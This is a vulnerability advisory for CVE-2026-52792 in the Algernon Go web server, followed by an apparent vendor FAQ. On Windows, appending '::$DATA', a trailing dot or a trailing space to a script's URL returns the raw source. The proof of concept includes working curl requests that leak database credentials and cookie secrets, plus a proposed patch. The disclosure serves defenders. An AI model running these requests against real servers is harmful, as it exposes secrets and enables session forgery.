CVE-2026-52792

Algernon selects its file handler from filepath.Ext() (engine/handlers.go:134), which does not treat the NTFS-equivalent names x.lua::$DATA, x.lua., or x.lua as .lua. On Windows, an unauthenticated client appends one of these suffixes to any server-side script on a public path and receives its raw source instead of executed output, leaking embedded secrets such as database credentials and the SetCookieSecret value.

Linux and macOS hosts are unaffected.

Preconditions

• Algernon runs on a Windows host (NTFS filesystem).
• The instance serves at least one server-side script (.lua, .tl, .po2, .amber, .frm).
• The script sits on a public path, or no auth backend is configured (--nodb, --simple, or default no-DB).
• HTTP/HTTPS reachability to the server.

Details

// engine/handlers.go:133
lowercaseFilename := strings.ToLower(filename)
ext := filepath.Ext(lowercaseFilename) // "index.lua::$data" -> ".lua::$data", not ".lua"  [offending]
...
if ac.dispatchRenderer(w, req, filename, ext) { // ext unrecognised, returns false
    return
}
switch ext {
case ".lua", ".tl": // execute the script -- never reached for the equivalent forms
    // ... RunLua ...
default:
    // control reaches the raw-file branch below
}

// engine/handlers.go:452
f, err := os.Open(filename) // NTFS resolves "index.lua::$DATA" to index.lua's data stream
...
// engine/handlers.go:479
if dataBlock, err := ac.ReadAndLogErrors(w, filename, ext); err == nil {
    dataBlock.ToClient(w, req, filename, ac.ClientCanGzip(req), gzipThreshold) // raw source to client
}

The request path reaches FilePage through URL2filename (utils/files.go:24), which rejects only ..; a :, a trailing ., and a trailing space all pass through into filename. filepath.Ext does an exact suffix match, so .lua::$data, ., and .lua are not equal to .lua or .tl. The renderer registry and the execute case are both skipped and control falls to the default branch.

The default branch opens filename with os.Open and streams the bytes verbatim. On Windows, NTFS canonicalises the alternate-data-stream suffix ::$DATA, a trailing dot, and a trailing space back to the underlying file, so the bytes returned are the real script source. The missing check: Algernon never rejects or canonicalises Windows-equivalent filenames before choosing a handler.

Proof of concept

Setup

1. Build Algernon from source on a Windows host:

   git clone https://github.com/xyproto/algernon
   cd algernon
   git checkout v1.17.8
   go build -o algernon.exe .
   

2. Create a web root with a script that embeds secrets, exactly as a real handler would:

   New-Item -ItemType Directory webroot | Out-Null
   Set-Content webroot\index.lua @'
   -- db = POSTGRES("postgres://app:S3cr3t@db/prod")
   SetCookieSecret("hardcoded-session-key")
   print("<h1>hello</h1>")
   '@
   

3. Serve the directory over plain HTTP with no auth backend (run in its own window):

   .\algernon.exe --httponly --noninteractive --nodb --addr ':8088' --dir .\webroot
   

Exploit

1. Request the script normally. It executes, and the source is not disclosed:

   curl.exe -s http://127.0.0.1:8088/index.lua
   

   Expected: <h1>hello</h1>. The DSN and cookie secret are absent from the response.

2. Request the same script through its NTFS ::$DATA stream. Algernon returns the raw source:

   curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua::$DATA'
   

   Expected: HTTP 200, Content-Type: application/octet-stream, body is the verbatim Lua source including SetCookieSecret("hardcoded-session-key") and the Postgres DSN.

3. The trailing-dot and trailing-space forms leak the same source:

   curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua.'
   curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua%20'
   

   Expected: identical raw-source response for both.

Suggestions to fix

This has not been tested - it is illustrative only.

Reject request paths whose final segment uses a Windows-equivalent form (alternate data stream, trailing dot, or trailing space) before extension dispatch.

 func (ac *Config) FilePage(w http.ResponseWriter, req *http.Request, filename, luaDataFilename string) {
+	// Reject Windows filename-equivalent forms that alias a different file
+	// than filepath.Ext sees (e.g. "x.lua::$DATA", "x.lua.", "x.lua ").
+	if base := filepath.Base(filename); strings.ContainsRune(base, ':') ||
+		strings.HasSuffix(base, ".") || strings.HasSuffix(base, " ") {
+		http.NotFound(w, req)
+		return
+	}
 	if ac.quitAfterFirstRequest {
 		go ac.quitSoon("Quit after first request", defaultSoonDuration)
 	}

• Confidentiality: Reads the verbatim source of any public-path server-side script, exposing hardcoded DB credentials, API keys, and SetCookieSecret(...) values.
• Authentication: A disclosed SetCookieSecret value lets an unauthenticated attacker forge session cookies and log in as any user.

Kodem intelligence

1. What is CVE-2026-52792? CVE-2026-52792 is a high-severity security vulnerability in github.com/xyproto/algernon (go), affecting versions <= 1.17.8. It is fixed in 1.17.9.
2. Which versions of github.com/xyproto/algernon are affected by CVE-2026-52792? github.com/xyproto/algernon (go) versions <= 1.17.8 is affected.
3. Is there a fix for CVE-2026-52792? Yes. CVE-2026-52792 is fixed in 1.17.9. Upgrade to this version or later.
4. Is CVE-2026-52792 exploitable, and should I be worried? Whether CVE-2026-52792 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2026-52792 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2026-52792? Upgrade github.com/xyproto/algernon to 1.17.9 or later.